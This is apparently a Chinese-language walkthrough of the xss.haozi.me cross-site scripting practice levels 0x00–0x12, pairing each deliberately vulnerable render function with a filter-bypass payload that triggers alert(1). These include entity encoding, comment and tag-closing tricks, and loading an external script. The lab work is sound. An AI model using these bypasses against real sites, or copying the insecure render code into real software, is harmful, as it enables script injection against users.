XSS弹窗练习 :xss.haozi.me

XSS弹窗闯关练习


前言

这是一个xss弹窗练习平台,让你一个点一个点的理解 XSS。页面上展现了源码,方便直接,更易理解其原理。

平台地址: https://xss.haozi.me/#/

首次进去需要输入一个昵称,且提醒你请在 input code 框内输入代码,以至弹出 alert(1) 为过关


0x00

服务器端代码:
function render (input) {
  return '<div>' + input + '</div>'
}

前端代码:
<div></div>

服务器端没有任何过滤直接执行JavaScript代码即可

payload:
<script>alert(1)</script>


0x01

服务器端代码:
function render (input) {
  return '<textarea>' + input + '</textarea>'
}

前端代码:
<textarea></textarea>

服务器虽然没有进行过滤,但是前端的textarea标签会将JavaScript代码文本化直接输出,所以添加一个结束标签凑成一对就能绕过

payload:
</textarea><script>alert(1)</script>


0x02

服务器端代码:
function render (input) {
  return '<input type="name" value="' + input + '">'
}

前端代码:
<input type="name" value="">

服务器依旧没有进行过滤,不过这次代码插入在input标签下的value属性下,依旧会吧JavaScript代码文本化直接输出,因此将value的双引号input的右尖括号补全 即可绕过

payload:
"><script>alert(1)</script>


0x03

服务器端代码:
function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

这题服务器终于对JavaScript代码进行过滤了,使用是正则表达式匹配,如果匹配成功就替换成空

  • 正则表达式/[()]/g
  • 末尾的g是全局匹配
  • 两条斜杠是代表开始与结束的位置
  • 方括号是表示匹配方括号中的任意字符
  • 这个正则表达式的意思就是,全局匹配左括号和有括号

染过方法有很多

payload:
可用反引号代替括号
<img src="" onerror=alert`1`>

可用Html实体编码表示左右括号
<img src="" onerror=alert&lpar;1&rpar;>
<img src="" onerror=alert&#40;1&#41;>
&lpar;&#40;表示左括号(
&rpar;&#41;表示右括号)

可以引用外部js文件
<script src="https://xss.haozi.me/j.js"></script>


0x04

服务器端代码:
function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

这题和0x03很像,就是正则表达式多了个反引号检测,所以0x03的payload除了第一条,其他都能用


0x05

服务器端代码:
function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

前端代码:
<!--  -->

服务器使用正则表达式进行了过滤,-->被替换成😂,然而<!---->组成一个HTML注释,但是HTML还有一种与能与<!--组成,就是--!>,HTML会自动转为-->

payload:
--!><script>alert(1)</script>


0x06

服务器端代码:
function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

前端代码:
<input value=1  type="text">

服务器依旧使用正则表达式过滤,把auto>on来头=结尾,正则表达式的i不区分大小写,但是正则表达式没有过滤换行

payload:
onclick
=alert(1)
单机文本框即可触发JavaScript代码


0x07

服务器端代码:
function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

前端代码:
<article></article>

服务器使用正则表达式,对<>括起来的内容进行过滤替换成空,但是由于HTML的容错性极高,所以,对于不闭合也能接受

payload:
<img src="" onerror=alert(1)
     后面加\\ 空格 回车 才能触发


0x08

服务器端代码:
function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

前端代码:
<style>

    </style>

服务器正则表达式过滤了我们想要闭合的style标签,且忽略了大小写,但是正则表达式是以一个整体来判断,所以在style闭合标签里面加入空格,就能绕过

payload:
</style >
<script> alert(1) </script>


0x09

服务器端代码:
function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

前端代码:
Invalid URL

服务器使用正则表达式限制了,必须使用https://www.sogmentfault.com开头,且放在script标签的src属性里面.所以我们需要闭合绕过

payload:
https://www.segmentfault.com"></script>
<script src="https://xss.haozi.me/j.js"


0x0A

服务器端代码:
function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

前端代码:
Invalid URL

0x09一样需要制定的Url开头,但是本题还将”&、`、”、<、>、"这些标点符号全部转换成HTML实体编码.因此本题不能通过闭合绕过,需要用到HTML的@特性,请求Url: www.google.com@www.youtube.com 最后访问到是 YouTube , Google相当于做了一次跳转

payload:
https://www.segmentfault.com@xss.haozi.me/j.js

注意:由于Chrome浏览器的一些安全机制,无法正常请求这个Url,所以这题改为使用Firefox浏览器


0x0B

服务器端代码:
function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

前端代码:
<h1></h1>

这关使用了toUpperCase函数对输入的字符进行大写转换,HTML标签不区分大小写,但是JavaScript代码区分,也就是说ALERT不能执行.但是可以将JavaScript代码进行uniocde编码进行绕过

注意Unicode编码有两种结果,一个是中文转Unicode结果是\u开头的,另一个是ASCII转Unicode结果是&#开头的.这里用ASCII转Unicode

payload:
<img src="" onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>


0x0C

服务器端代码:
function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

前端代码:
<h1></h1>

服务器使用正则表达式将script替换成空,且对输入的字符进行大写转换,使用0x0B的payload即可,不要相信网上用外部引入j.js,因为转为大写不存在这个文件

payload:
<img src="" onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>


0x0D

服务器端代码:
function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

前端代码:
<script>
          // alert('')
    </script>

服务器使用正则表达式对 < / " ' 进行过滤替换成空,且在输入的地方进行单行注释,因为是单行注释所以换行就能绕过,但是由于后面接着'),所以必须屏蔽或闭合才能执行JavaScript代码,根据服务器端代码,只能使用 -->来进行注释

payload:(注意有一行空行)

alert(1)
-->


0x0E(巨坑!!!)

服务器端代码:
function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

前端代码:
<h1></h1>

服务器使用正则表达式对以<开头后面接大小写字母进行替换成<_加大写字母,导致无法使用script标签,且大写的JavaScript代码无法执行,没有丝毫头绪,翻了下官方WP,了解到一些骚知识

ſ是古英语中的s的写法, 转成大写是正常的S

这也太骚了吧!!!,玩CTF吗???脑洞这么大

又是一个坑!!!,官方WP是引入j.js 由于大写转换后变成J.JS.文件不存在访问404.只能去自己的服务器写脚本引入自己的js文件

payload:
<ſcript src="http://自己的服务器/ALERT.JS"></script>

ALERT.JS:
alert(1)


0x0F

服务器端代码:
function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

前端代码:
<img src onerror="console.error('')">

服务器对& ' " < > \进行HTML实体编码,但是在HTML标签里面使用HTML实体编码没啥用,因为浏览器会解析HTML实体编码,所以将onerror的console.error闭合绕过就行了

payload:
')alert('1


0x10

服务器端代码:
function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

前端代码:
<script>
  window.data =
</script>

送分题???没有任何过滤,能直接执行alert(1)

payload:
alert(1)


0x11

服务器端代码:
// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

前端代码:
<script>
  var url = 'javascript:console.log("")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>

服务器过滤了一大堆字符,并在其前面添加反斜杠进行转义

注意console.log("${s}"),当我们输入一个双引号",正则会变成\",然后整条语句变成console.log("\"").这样反斜杠就失去转义的作用

payload:
");alert("1


0x12

服务器端代码:
// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

前端代码:
<script>console.log("");</script>

服务器对双引号进行过滤,转为\\",把双引号和括号进行补全就能绕过

payload:
\");alert(1)//